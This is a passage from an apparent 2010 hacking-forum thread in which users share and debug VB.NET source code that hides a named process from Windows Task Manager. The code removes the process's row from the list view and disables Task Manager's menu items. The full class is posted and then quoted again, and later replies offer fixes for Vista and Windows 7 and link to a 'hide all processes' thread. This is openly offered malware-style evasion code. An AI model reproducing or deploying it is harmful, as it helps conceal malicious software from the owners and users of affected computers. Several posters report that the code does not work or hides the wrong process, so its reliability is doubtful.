Hack Forums
[.NET] [VB.NET] HIDE any Process From Task Manager [SOURCE] - First on HF [HOT!!] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] [VB.NET] HIDE any Process From Task Manager [SOURCE] - First on HF [HOT!!] (/showthread.php?tid=378063)

Pages: Pages 1 2 3 4


* - #M.O.A.B - Apr 21, 2010

(Apr 20, 2010 10:01 PM)Stylis Wrote:  Don't work in WinXP SP3 !

I will try on SP3 🤝

-------------------------------

Yeah don't work on SP3, no process list, and selected process to hide is visible. :(


* - [Eprouvez] - Apr 21, 2010

Someone want to test this? I made it shorter and a lot easier to read:

Code
Public Class Form1
    Dim x As New Threading.Thread(AddressOf Hidez)
    Public Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        x.Start()
    End Sub
    Private Sub Form1_Closed(ByVal sender As Object, ByVal e As System.EventArgs)
        x.Abort()
    End Sub
    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal ClassName As String, ByVal WindowName As String) As Int32
    Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal Handle1 As Int32, ByVal Handle2 As Int32, ByVal Lpsz1 As String, ByVal Lpsz2 As String) As Int32
    Private Declare Function EnableWindow Lib "user32" Alias "EnableWindow" (ByVal Handle As Int32, ByVal Enable As Int32) As Boolean
    Private Declare Function GetMenu Lib "user32" Alias "GetMenu" (ByVal Handle As Int32) As Int32
    Private Declare Function GetSubMenu Lib "user32" Alias "GetSubMenu" (ByVal Menu As Int32, ByVal Pos As Int32) As Int32
    Private Declare Function GetMenuItemID Lib "user32" Alias "GetMenuItemID" (ByVal Menu As Int32, ByVal Pos As Int32) As Int32
    Private Declare Function EnableMenuItem Lib "user32" Alias "EnableMenuItem" (ByVal Menu As Int32, ByVal IDEnableItem As Int32, ByVal Enable As Int32) As Int32
    Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal Window As Int32, ByVal Message As Int32, ByVal wParam As Int32, ByVal lParam As String) As Int32
    Private Declare Function GetDesktopWindow Lib "user32" Alias "GetDesktopWindow" () As Int32
    Private Declare Function LockWindowUpdate Lib "user32" Alias "LockWindowUpdate" (ByVal HandleLock As Int32) As Int32
    Private Sub Hidez()
        HideProcess("notepad", True)
    End Sub
    Private Sub HideProcess(ByVal Name As String, Optional ByVal Hide As Boolean = True)
        Dim GetManager As Int32 = FindWindow(Nothing, "Windows Task Manager")
        Dim Dialog As Int32 = 0 : Dim ProcessList As Int32 = 0 : Dim ProcessHeader As Int32 = 0
        While True : Select Case Hide : Case True
                    For I As Int32 = 1 To 7
                        Dialog = FindWindowEx(GetManager, Dialog, Nothing, Nothing)
                        If ProcessList = 0 Then ProcessList = FindWindowEx(Dialog, 0, "SysListView32", "Processes")
                        If ProcessHeader = 0 Then ProcessHeader = FindWindowEx(ProcessList, 0, "SysHeader32", Nothing)
                    Next
                    Dim Index As Integer = Nothing : Dim List As New List(Of Process)
                    For Each Proc As Process In Process.GetProcesses : Index += 1 : List.Add(Proc) : Next
                    For x As Int32 = 0 To Index - 1
                        If List(x).ProcessName = Name Then Index = x
                    Next
                    Dim Menu As Int32 = GetMenu(GetManager) : Dim SubMenu As Int32 = GetSubMenu(Menu, 2) : Dim SubSubMenu As Int32 = GetSubMenu(SubMenu, 1)
                    SendMessage(GetManager, &H111, GetMenuItemID(SubSubMenu, 3), 0) : EnableMenuItem(Menu, GetMenuItemID(SubMenu, 0), &H1)
                    EnableMenuItem(Menu, GetMenuItemID(SubSubMenu, 0), &H1) : EnableMenuItem(Menu, GetMenuItemID(SubSubMenu, 1), &H1)
                    EnableMenuItem(Menu, GetMenuItemID(SubSubMenu, 2), &H1) : EnableMenuItem(Menu, GetMenuItemID(SubSubMenu, 3), &H1)
                    EnableWindow(ProcessHeader, 0)
                    LockWindowUpdate(ProcessList) : SendMessage(GetManager, &H111, GetMenuItemID(SubSubMenu, 0), 0)
                    SendMessage(ProcessList, (&H1000 + 48), 0, Nothing) : SendMessage(ProcessList, (&H1000 + 8), Index, 0)
                    LockWindowUpdate(False) : If GetManager = 0 Then System.Threading.Thread.Sleep(800) Else System.Threading.Thread.Sleep(2500)
                Case False
                    For I As Int32 = 1 To 7
                        Dialog = FindWindowEx(GetManager, Dialog, Nothing, Nothing)
                        If ProcessList = 0 Then ProcessList = FindWindowEx(Dialog, 0, "SysListView32", "Processes")
                        If ProcessHeader = 0 Then ProcessHeader = FindWindowEx(ProcessList, 0, "SysHeader32", Nothing)
                    Next
                    Dim Menu As Int32 = GetMenu(GetManager) : Dim SubMenu As Int32 = GetSubMenu(Menu, 2) : Dim SubMenu_ As Int32 = GetSubMenu(SubMenu, 1)
                    EnableMenuItem(Menu, GetMenuItemID(SubMenu, 0), &H0) : EnableMenuItem(Menu, GetMenuItemID(SubMenu_, 0), &H0)
                    EnableMenuItem(Menu, GetMenuItemID(SubMenu_, 1), &H0) : EnableMenuItem(Menu, GetMenuItemID(SubMenu_, 2), &H0)
                    EnableMenuItem(Menu, GetMenuItemID(SubMenu_, 3), &H0) : SendMessage(GetManager, &H111, GetMenuItemID(SubMenu_, 1), 0)
                    SendMessage(GetManager, &H111, GetMenuItemID(SubMenu, 0), 0) : EnableWindow(ProcessHeader, 1)
            End Select : End While
    End Sub
End Class



* - Stylis - Apr 21, 2010

(Apr 21, 2010 04:20 AM)Eprouvez Wrote:  Someone want to test this? I made it shorter and a lot easier to read:

Code
Public Class Form1
    Dim x As New Threading.Thread(AddressOf Hidez)
    Public Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        x.Start()
    End Sub
    Private Sub Form1_Closed(ByVal sender As Object, ByVal e As System.EventArgs)
        x.Abort()
    End Sub
    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal ClassName As String, ByVal WindowName As String) As Int32
    Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal Handle1 As Int32, ByVal Handle2 As Int32, ByVal Lpsz1 As String, ByVal Lpsz2 As String) As Int32
    Private Declare Function EnableWindow Lib "user32" Alias "EnableWindow" (ByVal Handle As Int32, ByVal Enable As Int32) As Boolean
    Private Declare Function GetMenu Lib "user32" Alias "GetMenu" (ByVal Handle As Int32) As Int32
    Private Declare Function GetSubMenu Lib "user32" Alias "GetSubMenu" (ByVal Menu As Int32, ByVal Pos As Int32) As Int32
    Private Declare Function GetMenuItemID Lib "user32" Alias "GetMenuItemID" (ByVal Menu As Int32, ByVal Pos As Int32) As Int32
    Private Declare Function EnableMenuItem Lib "user32" Alias "EnableMenuItem" (ByVal Menu As Int32, ByVal IDEnableItem As Int32, ByVal Enable As Int32) As Int32
    Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal Window As Int32, ByVal Message As Int32, ByVal wParam As Int32, ByVal lParam As String) As Int32
    Private Declare Function GetDesktopWindow Lib "user32" Alias "GetDesktopWindow" () As Int32
    Private Declare Function LockWindowUpdate Lib "user32" Alias "LockWindowUpdate" (ByVal HandleLock As Int32) As Int32
    Private Sub Hidez()
        HideProcess("notepad", True)
    End Sub
    Private Sub HideProcess(ByVal Name As String, Optional ByVal Hide As Boolean = True)
        Dim GetManager As Int32 = FindWindow(Nothing, "Windows Task Manager")
        Dim Dialog As Int32 = 0 : Dim ProcessList As Int32 = 0 : Dim ProcessHeader As Int32 = 0
        While True : Select Case Hide : Case True
                    For I As Int32 = 1 To 7
                        Dialog = FindWindowEx(GetManager, Dialog, Nothing, Nothing)
                        If ProcessList = 0 Then ProcessList = FindWindowEx(Dialog, 0, "SysListView32", "Processes")
                        If ProcessHeader = 0 Then ProcessHeader = FindWindowEx(ProcessList, 0, "SysHeader32", Nothing)
                    Next
                    Dim Index As Integer = Nothing : Dim List As New List(Of Process)
                    For Each Proc As Process In Process.GetProcesses : Index += 1 : List.Add(Proc) : Next
                    For x As Int32 = 0 To Index - 1
                        If List(x).ProcessName = Name Then Index = x
                    Next
                    Dim Menu As Int32 = GetMenu(GetManager) : Dim SubMenu As Int32 = GetSubMenu(Menu, 2) : Dim SubSubMenu As Int32 = GetSubMenu(SubMenu, 1)
                    SendMessage(GetManager, &H111, GetMenuItemID(SubSubMenu, 3), 0) : EnableMenuItem(Menu, GetMenuItemID(SubMenu, 0), &H1)
                    EnableMenuItem(Menu, GetMenuItemID(SubSubMenu, 0), &H1) : EnableMenuItem(Menu, GetMenuItemID(SubSubMenu, 1), &H1)
                    EnableMenuItem(Menu, GetMenuItemID(SubSubMenu, 2), &H1) : EnableMenuItem(Menu, GetMenuItemID(SubSubMenu, 3), &H1)
                    EnableWindow(ProcessHeader, 0)
                    LockWindowUpdate(ProcessList) : SendMessage(GetManager, &H111, GetMenuItemID(SubSubMenu, 0), 0)
                    SendMessage(ProcessList, (&H1000 + 48), 0, Nothing) : SendMessage(ProcessList, (&H1000 + 8), Index, 0)
                    LockWindowUpdate(False) : If GetManager = 0 Then System.Threading.Thread.Sleep(800) Else System.Threading.Thread.Sleep(2500)
                Case False
                    For I As Int32 = 1 To 7
                        Dialog = FindWindowEx(GetManager, Dialog, Nothing, Nothing)
                        If ProcessList = 0 Then ProcessList = FindWindowEx(Dialog, 0, "SysListView32", "Processes")
                        If ProcessHeader = 0 Then ProcessHeader = FindWindowEx(ProcessList, 0, "SysHeader32", Nothing)
                    Next
                    Dim Menu As Int32 = GetMenu(GetManager) : Dim SubMenu As Int32 = GetSubMenu(Menu, 2) : Dim SubMenu_ As Int32 = GetSubMenu(SubMenu, 1)
                    EnableMenuItem(Menu, GetMenuItemID(SubMenu, 0), &H0) : EnableMenuItem(Menu, GetMenuItemID(SubMenu_, 0), &H0)
                    EnableMenuItem(Menu, GetMenuItemID(SubMenu_, 1), &H0) : EnableMenuItem(Menu, GetMenuItemID(SubMenu_, 2), &H0)
                    EnableMenuItem(Menu, GetMenuItemID(SubMenu_, 3), &H0) : SendMessage(GetManager, &H111, GetMenuItemID(SubMenu_, 1), 0)
                    SendMessage(GetManager, &H111, GetMenuItemID(SubMenu, 0), 0) : EnableWindow(ProcessHeader, 1)
            End Select : End While
    End Sub
End Class

Don't work on WinXP SP3, sorry 😕


* - GoldStar - Apr 21, 2010

the idea is not bad. but i don't like how you get the window handle from it's title. get it from
process.getprocessByname("taskmgr").mainwindow. cuz it's not always in english.


* - JIMP - Apr 21, 2010

(Apr 21, 2010 07:37 AM)Miharbi-DoNo Wrote:  the idea is not bad. but i don't like how you get the window handle from it's title. get it from
process.getprocessByname("taskmgr").mainwindow. cuz it's not always in english.

Yeah thats a good point.


* - #M.O.A.B - Apr 21, 2010

(Apr 21, 2010 07:37 AM)Miharbi-DoNo Wrote:  the idea is not bad. but i don't like how you get the window handle from it's title. get it from
process.getprocessByname("taskmgr").mainwindow. cuz it's not always in english.

+1 😉


* - cysto - Apr 21, 2010

I am REALLY surprised by all the members who said "It doesn't work on Vista\7"!
It is just a coding fix to make:

First:
-----
Press F2, and the Object Browser will show up.
Navigate to: System->System.Timers->Timer
And press the "Add to References" button (At the mid-top)

Second:
--------
Add a timer to the Application in the designer.
Then, set your focus on the Project Explorer, and press "Show All Files"
A "+" will appear beside your main form (Form1.vb).
Press that, and double click the Form1.Designer.vb
Scroll down (the very end) till you see a declare statement like this:
Code
Friend WithEvents Timer1 As System.Windows.Forms.Timer
And change it to this:
Code
Friend WithEvents Timer1 As System.Timers.Timer
A new error will appear, so just scroll up to see the red-underlined code, which will be this:
Code
Me.Timer1 = New System.Windows.Forms.Timer(Me.components)
So just change it to this:
Code
Me.Timer1 = New System.Timers.Timer

Third:
------
Now here comes the real bug:
The source isn't copied as it is from the said webpage: http://www.codeguru.com/forum/showthread.php?t=406555
Just copy it as it is into Form1.vb, and everything will be fine.

Fourth:
--------
Run your application. It should definitely work.

Note: Remember to change the process name to the process you want to hide.


* - #M.O.A.B - Apr 21, 2010

Will try this now ;)


* - Krisler12 - Apr 21, 2010

i have windows 7 x64 bits and it is still not working :(

It doenst hide anything !


* - Cunt - Apr 21, 2010

lawl this looks good to remove this i use Hide all process, but if i can get this to work might just use this :)


* - Krisler12 - Apr 21, 2010

(Apr 21, 2010 10:53 AM)FaNaTiC Wrote:  lawl this looks good to remove this i use Hide all process, but if i can get this to work might just use this :)

post a link of the project to learn from, plz !

Thanks !


* - Cunt - Apr 21, 2010

i might post it later tonight ima sleep now :/


* - Deathader - Apr 21, 2010

Very very public source. I'm surprised nobody has found this yet.


* - Cunt - Apr 21, 2010

Yeah same as the hide all processes one well i posted it now :)

Link to hide all https://hackforums.net/showthread.php?tid=378907


* - DexHacker - Apr 21, 2010

TO ALL THAT SAY IT DOES NOT WORK ON WINDOWS 7
Yes i am shouting, the code once compiled does work in WIN 7 (not test it in 64bit win7)
But it removes the wrong app, it removes the one under or above the app you want to hide.
So write some code to test for vista/win7 and sub or add one (i can not remember) to the list search results number.